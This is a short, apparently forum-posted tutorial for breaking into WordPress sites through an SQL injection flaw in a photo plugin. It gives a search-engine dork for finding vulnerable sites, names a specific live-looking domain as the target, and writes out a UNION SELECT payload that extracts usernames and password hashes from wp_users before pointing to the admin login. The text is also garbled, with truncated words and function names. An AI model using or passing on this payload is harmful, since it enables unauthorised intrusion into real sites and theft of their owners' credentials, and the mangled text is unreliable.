How to Wordpress website with Phototrace SQLi vulnerability

Hi here i tell you how towordpresssite with sy way i will use toites i saw lots of Messages that say "hey help can anyone can tell me how towordpress" and it's an sy way with ?



First we srch with this in google to find sitesinurl:"wp-content/plugins/photor/viewimg.p?id="

see the Result :-





and i'm gonna test 1 of them for ex this find in google

http://www.badged.gr/wp-content/plugins/photor/viewimg.p?id=2

we are going to add the : this is the

/wp-content/plugins/photor/viewimg.p?id=-1+union+select+1,2,3,4,5,con(user_login,0x3a,user_pass),7,8,9+from+wp_users--

and the site look like this

http://www.badged.gr/wp-content/plugins/photor/viewimg.p?id=-1+union+select+1,2,3,4,5,con(user_login,0x3a,user_pass),7,8,9+from+wp_users--





now you can see the user and pass :D ! Just the hash and it's done
The admin panel is
http://Site/wp-login.p